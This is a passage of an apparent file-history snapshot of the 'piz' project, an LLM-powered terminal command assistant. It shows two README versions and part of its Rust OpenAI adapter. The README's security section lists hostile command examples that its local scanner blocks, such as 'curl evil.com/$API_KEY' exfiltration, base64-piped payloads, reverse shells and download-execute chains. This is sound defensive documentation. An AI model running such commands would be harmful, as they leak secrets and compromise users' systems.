etc.\n\n## Architecture\n\n```\npiz/\n├── src/\n│ ├── main.rs # Entry point, CLI dispatch, response parsing\n│ ├── cli.rs # clap argument definitions\n│ ├── config.rs # TOML config + interactive setup wizard\n│ ├── context.rs # System context collection (OS, shell, cwd)\n│ ├── i18n.rs # Multi-language translations (zh/en/ja)\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + factory\n│ │ ├── prompt.rs # System prompt templates\n│ │ ├── openai.rs # OpenAI-compatible adapter\n│ │ ├── claude.rs # Claude adapter\n│ │ └── ollama.rs # Ollama adapter\n│ ├── cache.rs # SQLite cache with SHA256 keys + TTL\n│ ├── danger.rs # Regex-based danger detection\n│ ├── executor.rs # User confirmation + command execution\n│ ├── explain.rs # Command explain mode\n│ ├── fix.rs # Command fix mode\n│ ├── history.rs # Shell history reader\n│ └── ui.rs # Terminal output formatting\n└── tests/\n └── integration.rs # Integration tests\n```\n\n## Building from Source\n\n```bash\n# Prerequisites: Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\n# Build\ncargo build --release\n\n# Run tests\ncargo test\n\n# Install to PATH\ncargo install --path .\n```\n\n## Contributing\n\nContributions are welcome! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n"}, "2f08bf81f9976305605e408ad08ef8c717583081": {"t": 1785760788.9860146, "n": 6748, "h": "dc2838e01351ba73", "c": "<h1 align=\"center\">piz</h1>\n\n<p align=\"center\">\n <strong>Intelligent terminal command assistant</strong><br>\n Translate natural language to shell commands with AI\n</p>\n\n<p align=\"center\">\n <a href=\"https://github.com/AriesOxO/piz/actions\"><img src=\"https://github.com/AriesOxO/piz/workflows/CI/badge.svg\" alt=\"CI\"></a>\n <a href=\"https://github.com/AriesOxO/piz/releases\"><img src=\"https://img.shields.io/github/v/release/AriesOxO/piz\" alt=\"Release\"></a>\n <a href=\"https://github.com/AriesOxO/piz/blob/main/LICENSE\"><img src=\"https://img.shields.io/github/license/AriesOxO/piz\" alt=\"License\"></a>\n</p>\n\n<p align=\"center\">\n <a href=\"./README.md\">English</a> |\n <a href=\"./README_ZH.md\">简体中文</a>\n</p>\n\n---\n\n## What is piz?\n\n**piz** solves one problem: you know *what* you want to do, but not the exact command. Describe it in plain language, and piz translates it into the right shell command for your OS and shell.\n\n```\n$ piz list all files larger than 100MB\n ➜ find . -size +100M -type f\n [Y] Execute [n] Cancel [e] Edit\n```\n\n## Features\n\n- **Natural Language to Command** - Describe what you want, get the exact command\n- **Multi-Backend LLM** - OpenAI, Claude, Ollama, or any OpenAI-compatible API (DeepSeek, SiliconFlow, Moonshot, etc.)\n- **Danger Detection** - Dual-layer protection: regex patterns + LLM classification. Dangerous commands require explicit confirmation\n- **Command Explain** - Break down any command into its components with `piz -e`\n- **Command Fix** - Auto-diagnose and fix failed commands with `piz fix`\n- **Local Cache** - SQLite cache with TTL, repeated queries return instantly\n- **Multi-Language UI** - Chinese, English, Japanese interface\n- **Cross-Platform** - Windows (PowerShell/cmd), macOS, Linux (bash/zsh)\n\n## Quick Start\n\n### Install\n\n**From source (requires Rust toolchain):**\n\n```bash\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\ncargo build --release\n# Binary at: target/release/piz (or piz.exe on Windows)\n```\n\n**From releases:**\n\nDownload the latest binary from [Releases](https://github.com/AriesOxO/piz/releases).\n\n### Setup\n\nRun any command and the interactive setup wizard will start automatically:\n\n```\n$ piz list files\nNo configuration found. Let's set up piz for the first time.\n\n ⚙ piz configuration wizard\n\n? Select language: 中文 / English / 日本語\n? Select default LLM backend: openai (DeepSeek, Moonshot, SiliconFlow, ...)\n? Select API provider: SiliconFlow (api.siliconflow.cn)\n? API base URL: https://api.siliconflow.cn\n? API key: sk-xxxxx\n? Model name: Qwen/Qwen3-8B\n? Auto-execute safe commands without confirmation? Yes\n\n ✔ Config saved\n```\n\nOr manually: `piz config --init`\n\n## Usage\n\n### Translate natural language\n\n```bash\npiz show disk usage # → df -h\npiz find all rust files modified today # → find . -name \"*.rs\" -mtime 0\npiz compress the src folder # → tar -czf src.tar.gz src/\n```\n\n### Explain a command\n\n```bash\n$ piz -e 'tar -czf archive.tar.gz src/'\n📖 Command explanation:\n\n tar — tape archive tool\n -c — create a new archive\n -z — compress with gzip\n -f — specify output filename\n src/ — directory to archive\n```\n\n### Fix failed commands\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 Diagnosis: Permission denied writing to global node_modules\n ➜ sudo npm install\n```\n\n### Other options\n\n```bash\npiz --backend ollama list files # Use specific backend\npiz --no-cache show memory # Skip cache\npiz clear-cache # Clear all cached commands\npiz config --init # Re-run setup wizard\npiz --version # Show version\n```\n\n## Configuration\n\nConfig file: `~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 168 # Cache TTL (7 days)\nauto_confirm_safe = true # Auto-execute safe commands\nlanguage = \"zh\" # UI language: zh / en / ja\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\" # Custom for third-party APIs\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n# base_url = \"https://api.anthropic.com\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### Third-Party API Examples\n\n<details>\n<summary>DeepSeek</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n</details>\n\n<details>\n<summary>SiliconFlow</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n</details>\n\n<details>\n<summary>Moonshot</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n</details>\n\n## Danger Detection\n\npiz uses dual-layer danger detection to protect you:\n\n| Level | Behavior | Example |\n|-------|----------|---------|\n| **Safe** | Auto-execute (if configured) | `ls`, `df -h`, `git status` |\n| **Warning** | Prompt for confirmation | `sudo apt install`, `chmod 755`, `git push` |\n| **Dangerous** | Red warning + explicit confirmation (cannot skip) | `rm -rf /`, `mkfs`, `DROP TABLE` |\n\nRegex-based detection runs locally (no LLM needed) and catches patterns like `rm -rf /`, `mkfs`, `dd of=/dev/`, `FORMAT C:`, `DROP TABLE`, etc.\n\n## Architecture\n\n```\npiz/\n├── src/\n│ ├── main.rs # Entry point, CLI dispatch, response parsing\n│ ├── cli.rs # clap argument definitions\n│ ├── config.rs # TOML config + interactive setup wizard\n│ ├── context.rs # System context collection (OS, shell, cwd)\n│ ├── i18n.rs # Multi-language translations (zh/en/ja)\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + factory\n│ │ ├── prompt.rs # System prompt templates\n│ │ ├── openai.rs # OpenAI-compatible adapter\n│ │ ├── claude.rs # Claude adapter\n│ │ └── ollama.rs # Ollama adapter\n│ ├── cache.rs # SQLite cache with SHA256 keys + TTL\n│ ├── danger.rs # Regex-based danger detection\n│ ├── executor.rs # User confirmation + command execution\n│ ├── explain.rs # Command explain mode\n│ ├── fix.rs # Command fix mode\n│ ├── history.rs # Shell history reader\n│ └── ui.rs # Terminal output formatting\n└── tests/\n └── integration.rs # Integration tests\n```\n\n## Building from Source\n\n```bash\n# Prerequisites: Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\n# Build\ncargo build --release\n\n# Run tests\ncargo test\n\n# Install to PATH\ncargo install --path .\n```\n\n## Contributing\n\nContributions are welcome! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n"}}, "README_EN.md": {"9f6d61b742783293d95b348ac1408254df447b0e": {"t": 1785674083.408642, "n": 18283, "h": "9b9dd13c60a311fc", "c": "<h1 align=\"center\">piz</h1>\n\n<p align=\"center\">\n <strong>Intelligent terminal command assistant</strong><br>\n Translate natural language to shell commands with AI\n</p>\n\n<p align=\"center\">\n <a href=\"https://github.com/AriesOxO/piz/actions\"><img src=\"https://github.com/AriesOxO/piz/workflows/CI/badge.svg\" alt=\"CI\"></a>\n <a href=\"https://github.com/AriesOxO/piz/releases\"><img src=\"https://img.shields.io/github/v/release/AriesOxO/piz\" alt=\"Release\"></a>\n <a href=\"https://github.com/AriesOxO/piz/blob/main/LICENSE\"><img src=\"https://img.shields.io/github/license/AriesOxO/piz\" alt=\"License\"></a>\n</p>\n\n<p align=\"center\">\n <a href=\"./README_EN.md\">English</a> |\n <a href=\"./README.md\">简体中文</a>\n</p>\n\n---\n\n<p align=\"center\">\n <img src=\"assets/demo.gif\" alt=\"piz demo\" width=\"800\">\n</p>\n\n## What is piz?\n\n**piz** solves one problem: you know *what* you want to do, but not the exact command. Describe it in plain language, and piz translates it into the right shell command for your OS and shell.\n\n```\n$ piz list all files larger than 100MB\n ➜ find . -size +100M -type f\n [Y] Execute [n] Cancel [e] Edit [r] Regenerate\n```\n\n## Features\n\n- **Natural Language to Command** - Describe what you want, get the exact command\n- **Multi-Backend LLM** - OpenAI, Claude, Gemini, Ollama + 12 OpenAI-compatible providers (DeepSeek, SiliconFlow, OpenRouter, Moonshot, Zhipu/GLM, Qianfan, DashScope, Mistral, Together, Minimax, BytePlus, and more)\n- **Security Hardening** - Three-layer protection: prompt-level refusal for non-command input, injection detection (base64 payloads, env exfiltration, reverse shells, curl config attacks), and regex-based danger classification\n- **Danger Detection** - Dual-layer: regex patterns + LLM classification. Dangerous commands always require explicit confirmation\n- **Command Explain** - Break down any command into its components with `piz -e`\n- **Command Fix** - Auto-diagnose and fix failed commands with `piz fix`, with auto-retry (up to 3 attempts)\n- **Interactive Chat** - Multi-turn chat mode with context (`piz chat`), with `/help`, `/clear`, `/history` commands and persistent history\n- **Multi-Candidate** - Generate multiple command options with `-n` and pick your preferred one\n- **Regenerate** - Not happy with the result? Press `[r]` to skip cache and re-query the LLM\n- **Local Cache** - SQLite cache with TTL + LRU eviction, model isolation (switching models auto-invalidates old cache), repeated queries return instantly\n- **Command Validation** - Auto-sanitizes LLM output artifacts (leading garbage chars), blocks empty/no-op commands, improves compatibility with smaller models\n- **Execution History** - Track all executed commands with `piz history`, searchable\n- **Shell Integration** - `piz init <shell>` generates shell wrapper functions so `cd`/`export`/`source` work correctly in the current shell (bash, zsh, fish, PowerShell), with built-in aliases (`p`, `pf`, `pc`)\n- **Eval Mode** - `--eval` outputs confirmed command for shell wrapper to eval, used by shell integration\n- **Shell Completions** - Generate completions for bash, zsh, fish, and PowerShell\n- **Pipe Mode** - Script-friendly output with `--pipe` for integration with other tools\n- **Multi-Language UI** - Chinese, English interface with localized security messages\n- **Cross-Platform** - Windows (PowerShell/cmd), macOS, Linux (bash/zsh/fish) with non-invasive encoding (no `chcp`/`OutputEncoding` modification)\n- **Interactive Setup** - First-run wizard with provider presets, no manual config editing needed\n- **NO_COLOR Support** - Respects the `NO_COLOR` environment variable\n- **API Resilience** - Automatic retry with exponential backoff for 429/5xx errors\n\n## Quick Start\n\n### Install\n\n**Homebrew (macOS / Linux):**\n\n```bash\nbrew install AriesOxO/tap/piz\n```\n\n**macOS / Linux (one-liner):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows (PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo (any platform):**\n\n```bash\ncargo install piz\n```\n\n**Manual download:**\n\nDownload binaries or `.msi` (Windows) from [Releases](https://github.com/AriesOxO/piz/releases). Linux binaries are statically linked (musl), compatible with any Linux distribution.\n\n| Platform | Downloads |\n|----------|-----------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 (static musl) | `.tar.gz` |\n| Linux ARM64 (static musl) | `.tar.gz` |\n\n### Setup\n\nRun any command and the interactive setup wizard will start automatically:\n\n```\n$ piz list files\nNo configuration found. Let's set up piz for the first time.\n\n ⚙ piz configuration wizard\n\n? Select language: 中文 / English\n? Select default LLM backend:\n > openai (DeepSeek, SiliconFlow, OpenRouter, ...)\n claude\n gemini (Google)\n ollama (local)\n? Select API provider:\n OpenAI / DeepSeek / SiliconFlow / OpenRouter / Moonshot\n Zhipu-GLM / Qianfan / DashScope / Mistral / Together\n Minimax / BytePlus / Custom URL\n? API base URL: https://api.siliconflow.cn\n? API key: sk-xxxxx\n? Model name: Qwen/Qwen3-8B\n? Auto-execute safe commands without confirmation? Yes\n\n ✔ Config saved\n```\n\nOr manually: `piz config --init`\n\n## Usage\n\n### Translate natural language\n\n```bash\npiz show disk usage # → df -h\npiz find all rust files modified today # → find . -name \"*.rs\" -mtime 0\npiz compress the src folder # → tar -czf src.tar.gz src/\n```\n\n### Multi-candidate mode\n\n```bash\n$ piz -n 3 find large files\n? Select a command to execute:\n> 1. find . -size +100M -type f — Find files larger than 100MB\n 2. du -ah . | sort -rh | head -20 — Show top 20 largest files/dirs\n 3. ls -lhRS | head -30 — List files sorted by size descending\n```\n\n### Explain a command\n\n```bash\n$ piz -e 'tar -czf archive.tar.gz src/'\n📖 Command explanation:\n\n tar — tape archive tool\n -c — create a new archive\n -z — compress with gzip\n -f — specify output filename\n src/ — directory to archive\n```\n\n### Fix failed commands\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 Diagnosis: Permission denied writing to global node_modules\n - npm install\n + sudo npm install\n```\n\nThe fix command now supports auto-retry: if the fixed command also fails, piz will attempt up to 3 rounds of diagnosis and repair.\n\n### Interactive chat mode\n\n```bash\n$ piz chat\n💬 interactive mode\nType your request, or 'exit'/'quit' to leave.\n\n> list all running docker containers\n ➜ docker ps\n [Y] Execute [n] Cancel [e] Edit\n\n> only show the names\n ➜ docker ps --format '{{.Names}}'\n```\n\nChat mode supports special commands:\n- `/help` — Show available commands\n- `/clear` — Clear conversation history\n- `/history` — View conversation history\n- `/detail` — Toggle inline command explanation on/off\n\n### Execution history\n\n```bash\n$ piz history # Show last 20 executed commands\n$ piz history docker -l 10 # Search for \"docker\" in last 10 entries\n```\n\n### Shell completions\n\n```bash\npiz completions bash > ~/.bash_completion.d/piz # Bash\npiz completions zsh > ~/.zfunc/_piz # Zsh\npiz completions fish > ~/.config/fish/completions/piz.fish # Fish\npiz completions powershell > piz.ps1 # PowerShell\n```\n\n### Shell integration\n\nShell integration enables commands like `cd`, `export`, and `source` to work correctly in your current shell session. Run `piz init <shell>` and add the output to your shell profile:\n\n**Bash / Zsh:**\n\n```bash\n# Add to ~/.bashrc or ~/.zshrc:\neval \"$(piz init bash)\" # or: eval \"$(piz init zsh)\"\n```\n\n**Fish:**\n\n```fish\n# Add to ~/.config/fish/config.fish:\npiz init fish | source\n```\n\n**PowerShell:**\n\n```powershell\n# Add to $PROFILE:\npiz init powershell | Out-String | Invoke-Expression\n```\n\nOnce set up, piz will use `--eval` mode automatically, and commands like `cd`, `export`, `source` will take effect in your current shell.\n\nShell integration also provides built-in aliases for convenience:\n\n| Alias | Command | Description |\n|-------|---------|-------------|\n| `p` | `piz` | Short alias for piz |\n| `pf` | `piz fix` | Quick fix last failed command |\n| `pc` | `piz chat` | Quick enter chat mode |\n\n```bash\np list all rust files # Same as: piz list all rust files\npf # Same as: piz fix\npc # Same as: piz chat\n```\n\n### Pipe mode\n\n```bash\n# Output only the command, no UI — useful for scripting\npiz --pipe list all rust files # → find . -name \"*.rs\"\neval $(echo \"list files\" | piz --pipe) # Execute directly\n```\n\n### Configuration management\n\n```bash\npiz config --init # Run setup wizard\npiz config --show # Show current config (API keys masked)\npiz config --reset # Delete config and start over\n```\n\n### Other options\n\n```bash\npiz --backend ollama list files # Use specific backend\npiz --backend gemini show memory # Use Google Gemini\npiz --no-cache show memory # Skip cache\npiz --verbose list files # Debug: show prompts and LLM responses\npiz -n 3 list files # Generate 3 candidate commands\npiz clear-cache # Clear all cached commands\npiz --eval list files # Eval mode (for shell integration)\npiz --version # Show version\n```\n\n## Update\n\n### Self-update\n\n```bash\npiz update # Interactive: check latest version and upgrade\n```\n\n`piz update` checks GitHub Releases for the latest version. If a new version is available, you can choose between two upgrade methods:\n\n1. **Overwrite install** — replace the current binary in-place\n2. **Uninstall then reinstall** — remove old version first, then install new\n\nBoth methods include automatic rollback on failure.\n\n### Automatic update check\n\npiz checks for updates **automatically in the background** after each run (at most once every 24 hours, with a 5-second timeout so it never blocks). When a newer version is detected, a hint is shown:\n\n```\nℹ piz 0.3.0 is available (current: 0.2.5). Run `piz update` to upgrade.\n```\n\nNo manual configuration is needed — this works out of the box. The check state is stored in `~/.piz/update_state.json`.\n\n### Manual install (specific version)\n\nIf you want to install a specific version, download the binary directly from [GitHub Releases](https://github.com/AriesOxO/piz/releases):\n\n```bash\n# Linux/macOS — replace VERSION and TARGET as needed\ncurl -fsSL https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-TARGET.tar.gz | tar xz\nsudo mv piz /usr/local/bin/\n\n# Windows (PowerShell)\nInvoke-WebRequest -Uri \"https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-x86_64-pc-windows-msvc.zip\" -OutFile piz.zip\nExpand-Archive piz.zip -DestinationPath .\nMove-Item piz.exe \"$env:LOCALAPPDATA\\piz\\piz.exe\"\n```\n\nOr reinstall via the install script:\n\n```bash\n# Linux/macOS\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n\n# Windows (PowerShell)\nirm https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n## Supported Providers\n\n### Native backends\n\n| Backend | Config section | Notes |\n|---------|---------------|-------|\n| **OpenAI** | `[openai]` | Also supports any OpenAI-compatible API via `base_url` |\n| **Claude** | `[claude]` | Anthropic Messages API, custom `base_url` supported |\n| **Gemini** | `[gemini]` | Google Generative AI native API |\n| **Ollama** | `[ollama]` | Local models, no API key needed |\n\n### OpenAI-compatible providers (via `[openai]` with custom `base_url`)\n\n<details>\n<summary>Click to expand all 12 providers</summary>\n\n| Provider | base_url | Default model |\n|----------|----------|---------------|\n| OpenAI | `https://api.openai.com` | gpt-4o-mini |\n| DeepSeek | `https://api.deepseek.com` | deepseek-chat |\n| SiliconFlow | `https://api.siliconflow.cn` | Qwen/Qwen3-8B |\n| OpenRouter | `https://openrouter.ai/api/v1` | auto |\n| Moonshot/Kimi | `https://api.moonshot.cn` | moonshot-v1-8k |\n| Zhipu/GLM | `https://open.bigmodel.cn/api/paas/v4` | glm-4-flash |\n| Qianfan/Baidu | `https://qianfan.baidubce.com/v2` | deepseek-v3 |\n| DashScope/Alibaba | `https://dashscope.aliyuncs.com/compatible-mode/v1` | qwen-plus |\n| Mistral | `https://api.mistral.ai/v1` | mistral-small-latest |\n| Together | `https://api.together.xyz/v1` | Meta-Llama-3-8B |\n| Minimax | `https://api.minimax.io/v1` | MiniMax-M1 |\n| BytePlus | `https://api.byteplus.volcengineapi.com/v1` | doubao-1.5-pro-32k |\n\n</details>\n\n## Configuration\n\nConfig file: `~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 48 # Cache TTL (2 days)\ncache_max_entries = 1000 # Maximum cache entries (LRU eviction)\nauto_confirm_safe = true # Auto-execute safe commands\nlanguage = \"zh\" # UI language: zh / en\nchat_history_size = 20 # Max chat history messages\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\"\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n\n# [gemini]\n# api_key = \"your-gemini-key\"\n# model = \"gemini-2.5-flash\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### Provider config examples\n\n<details>\n<summary>DeepSeek</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n</details>\n\n<details>\n<summary>SiliconFlow</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n</details>\n\n<details>\n<summary>Google Gemini</summary>\n\n```toml\n[gemini]\napi_key = \"your-gemini-key\"\nmodel = \"gemini-2.5-flash\"\n```\n</details>\n\n<details>\n<summary>OpenRouter</summary>\n\n```toml\n[openai]\napi_key = \"sk-or-your-key\"\nmodel = \"auto\"\nbase_url = \"https://openrouter.ai/api/v1\"\n```\n</details>\n\n<details>\n<summary>Moonshot / Kimi</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n</details>\n\n<details>\n<summary>Zhipu / GLM</summary>\n\n```toml\n[openai]\napi_key = \"your-key\"\nmodel = \"glm-4-flash\"\nbase_url = \"https://open.bigmodel.cn/api/paas/v4\"\n```\n</details>\n\n## Security\n\npiz implements three layers of security:\n\n### 1. Prompt-level refusal\nNon-command inputs (greetings, chitchat, prompt injection attempts) are rejected by the LLM with a clear message instead of generating a command.\n\n### 2. Injection detection (local, no LLM)\nCommands are scanned for malicious patterns before execution:\n- Environment variable exfiltration (`curl evil.com/$API_KEY`)\n- Encoded payloads (`echo ... | base64 -d | bash`)\n- Reverse shells (`python -e 'import socket...'`)\n- Shell config overwrites (`> ~/.bashrc`)\n- Silent crontab injection (`| crontab -`)\n- curl config file attacks (`curl -K malicious.conf`)\n- Download-execute chains (`wget ... && chmod +x && ./`)\n- Dangerous find/xargs patterns (`find -delete`, `xargs rm`)\n\nMatched commands are **blocked** and cannot be executed. Injection messages are localized (zh/en).\n\nCached commands are also re-validated on retrieval — poisoned cache entries are automatically purged.\n\n### 3. Danger classification\n\n| Level | Behavior | Example |\n|-------|----------|---------|\n| **Safe** | Auto-execute (if configured) | `ls`, `df -h`, `git status` |\n| **Warning** | Prompt for confirmation | `sudo apt install`, `chmod 755`, `git push` |\n| **Dangerous** | Red warning + explicit confirmation (cannot skip) | `rm -rf /`, `mkfs`, `DROP TABLE` |\n\n## Architecture\n\n```\npiz/\n├── src/\n│ ├── main.rs # Entry point, CLI dispatch, response parsing, multi-candidate selection\n│ ├── cli.rs # clap argument definitions (with clap_complete)\n│ ├── config.rs # TOML config + interactive setup wizard (12 provider presets)\n│ ├── context.rs # System context collection (OS, shell, cwd, arch, git, package manager)\n│ ├── i18n.rs # Multi-language translations (zh/en) including injection messages\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + factory + retry/backoff utilities\n│ │ ├── prompt.rs # Prompt templates with security rules, few-shot examples, multi-candidate\n│ │ ├── openai.rs # OpenAI-compatible adapter (with retry)\n│ │ ├── claude.rs # Claude adapter (with retry)\n│ │ ├── gemini.rs # Google Gemini adapter (with retry)\n│ │ └── ollama.rs # Ollama adapter (with retry)\n│ ├── cache.rs # SQLite cache with SHA256 keys, TTL, LRU eviction + execution history\n│ ├── danger.rs # Regex danger detection + injection scanner (InjectionReason enum)\n│ ├── executor.rs # User confirmation + command execution\n│ ├── explain.rs # Command explain mode\n│ ├── fix.rs # Command fix mode + auto-fix retry loop\n│ ├── chat.rs # Interactive chat mode with slash commands + persistent history\n│ ├── history.rs # Shell history reader\n│ ├── shell_init.rs # Shell integration code generation (bash/zsh/fish/PowerShell) + built-in aliases\n│ └── ui.rs # Terminal output formatting (spinner, diff, colors)\n├── tests/\n│ ├── integration.rs # Integration tests\n│ ├── llm_e2e.rs # LLM end-to-end tests (require API key, ignored by default)\n│ └── windows_shells.rs # Cross-shell tests (cmd/PowerShell/bash)\n├── homebrew/\n│ └── piz.rb # Homebrew formula template (auto-rendered by release workflow)\n├── install.sh # macOS/Linux installer\n└── install.ps1 # Windows installer\n```\n\n## Building from Source\n\n```bash\n# Prerequisites: Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\ncargo build --release # Build\ncargo test # Run tests (437)\ncargo install --path . # Install to PATH\n```\n\n## Environment Variables\n\n| Variable | Description |\n|----------|-------------|\n| `NO_COLOR` | Set to any value to disable colored output |\n\n## Contributing\n\nContributions are welcome! Please see [CONTRIBUTING.md](CONTRIBUTING_EN.md) for guidelines.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n\n## Star History\n\n[![Star History Chart](https://api.star-history.com/svg?repos=AriesOxO/piz&type=Date)](https://star-history.com/#AriesOxO/piz&Date)\n"}}, "src/llm/openai.rs": {"9f6d61b742783293d95b348ac1408254df447b0e": {"t": 1785746224.0572267, "n": 8480, "h": "6a93f9e3da23342e", "c": "use anyhow::{Context, Result};\nuse async_trait::async_trait;\nuse serde_json::json;\n\nuse super::{LlmBackend, Message};\nuse crate::config::OpenAiConfig;\n\npub struct OpenAiBackend {\n config: OpenAiConfig,\n client: reqwest::Client,\n}\n\nimpl OpenAiBackend {\n pub fn new(config: OpenAiConfig) -> Self {\n Self {\n config,\n client: super::build_http_client(),\n }\n }\n\n fn build_url(&self) -> String {\n let base_url = self\n .config\n .base_url\n .as_deref()\n .unwrap_or(\"https://api.openai.com\");\n let normalized = base_url.trim_end_matches('/');\n let lower = normalized.to_ascii_lowercase();\n\n if lower.ends_with(\"/chat/completions\") {\n return normalized.to_string();\n }\n\n if lower.ends_with(\"/v1\") {\n return format!(\"{}/chat/completions\", normalized);\n }\n\n format!(\"{}/v1/chat/completions\", normalized)\n }\n\n fn should_omit_temperature_by_default(&self) -> bool {\n let model = self.config.model.trim().to_ascii_lowercase();\n model.contains(\"kimi-k2.5\")\n }\n\n fn build_body(\n &self,\n messages: Vec<serde_json::Value>,\n include_temperature: bool,\n ) -> serde_json::Value {\n let mut map = serde_json::Map::new();\n map.insert(\"model\".to_string(), json!(self.config.model));\n map.insert(\"messages\".to_string(), json!(messages));\n map.insert(\"max_tokens\".to_string(), json!(super::DEFAULT_MAX_TOKENS));\n map.insert(\n \"response_format\".to_string(),\n json!({\"type\": \"json_object\"}),\n );\n if include_temperature {\n map.insert(\"temperature\".to_string(), json!(super::DEFAULT_TEMPERATURE));\n }\n serde_json::Value::Object(map)\n }\n\n fn remove_top_level_field(body: &mut serde_json::Value, key: &str) -> bool {\n match body {\n serde_json::Value::Object(map) => map.remove(key).is_some(),\n _ => false,\n }\n }\n\n fn should_retry_without_temperature(err: &anyhow::Error) -> bool {\n let msg = err.to_string().to_lowercase();\n if !msg.contains(\"temperature\") {\n return false;\n }\n\n msg.contains(\"api error (400)\")\n || msg.contains(\"unsupported\")\n || msg.contains(\"not support\")\n || msg.contains(\"not allowed\")\n || msg.contains(\"unknown parameter\")\n || msg.contains(\"invalid parameter\")\n || msg.contains(\"invalid_request_error\")\n || msg.contains(\"extra fields not permitted\")\n || msg.contains(\"不支持\")\n || msg.contains(\"未知参数\")\n || msg.contains(\"无效参数\")\n }\n\n async fn send_request_with_compat(&self, mut body: serde_json::Value) -> Result<String> {\n let first_err = match self.send_request(body.clone()).await {\n Ok(resp) => return Ok(resp),\n Err(err) => err,\n };\n\n if Self::should_retry_without_temperature(&first_err)\n && Self::remove_top_level_field(&mut body, \"temperature\")\n {\n return self.send_request(body).await.with_context(|| {\n format!(\n \"Compatibility retry without `temperature` failed after initial error: {}\",\n first_err\n )\n });\n }\n\n Err(first_err)\n }\n\n async fn send_request(&self, body: serde_json::Value) -> Result<String> {\n let url = self.build_url();\n let mut last_err = None;\n\n for attempt in 0..super::MAX_RETRIES {\n let resp = self\n .client\n .post(&url)\n .header(\"Authorization\", format!(\"Bearer {}\", self.config.api_key))\n .header(\"Content-Type\", \"application/json\")\n .json(&body)\n .send()\n .await\n .context(\"Failed to send request to OpenAI\")?;\n\n let status = resp.status();\n let text = resp\n .text()\n .await\n .context(\"Failed to read OpenAI response\")?;\n\n if status.is_success() {\n let parsed: serde_json::Value =\n serde_json::from_str(&text).context(\"Failed to parse OpenAI response\")?;\n return parsed[\"choices\"][0][\"message\"][\"content\"]\n .as_str()\n .map(|s| s.to_string())\n .ok_or_else(|| anyhow::anyhow!(\"Unexpected OpenAI response format\"));\n }\n\n match super::handle_error_response(status, &text, attempt, \"OpenAI\") {\n Ok(msg) => {\n last_err = Some(msg);\n super::backoff_delay(attempt).await;\n continue;\n }\n Err(e) => return Err(e),\n }\n }\n\n Err(super::bail_last_err(last_err, \"OpenAI request failed\"))\n }\n}\n\n#[async_trait]\nimpl LlmBackend for OpenAiBackend {\n async fn chat(&self, system: &str, user: &str) -> Result<String> {\n let messages = vec![\n json!({\"role\": \"system\", \"content\": system}),\n json!({\"role\": \"user\", \"content\": user}),\n ];\n let body = self.build_body(messages, !self.should_omit_temperature_by_default());\n self.send_request_with_compat(body).await\n }\n\n async fn chat_with_history(&self, system: &str, messages: &[Message]) -> Result<String> {\n let mut msgs = vec![json!({\"role\": \"system\", \"content\": system})];\n for m in messages {\n msgs.push(json!({\"role\": m.role, \"content\": m.content}));\n }\n let body = self.build_body(msgs, !self.should_omit_temperature_by_default());\n self.send_request_with_compat(body).await\n }\n}\n\n#[cfg(test)]\nmod tests {\n use super::OpenAiBackend;\n use crate::config::OpenAiConfig;\n use serde_json::json;\n\n fn backend(base_url: Option<&str>, model: &str) -> OpenAiBackend {\n OpenAiBackend::new(OpenAiConfig {\n api_key: \"sk-test\".to_string(),\n model: model.to_string(),\n 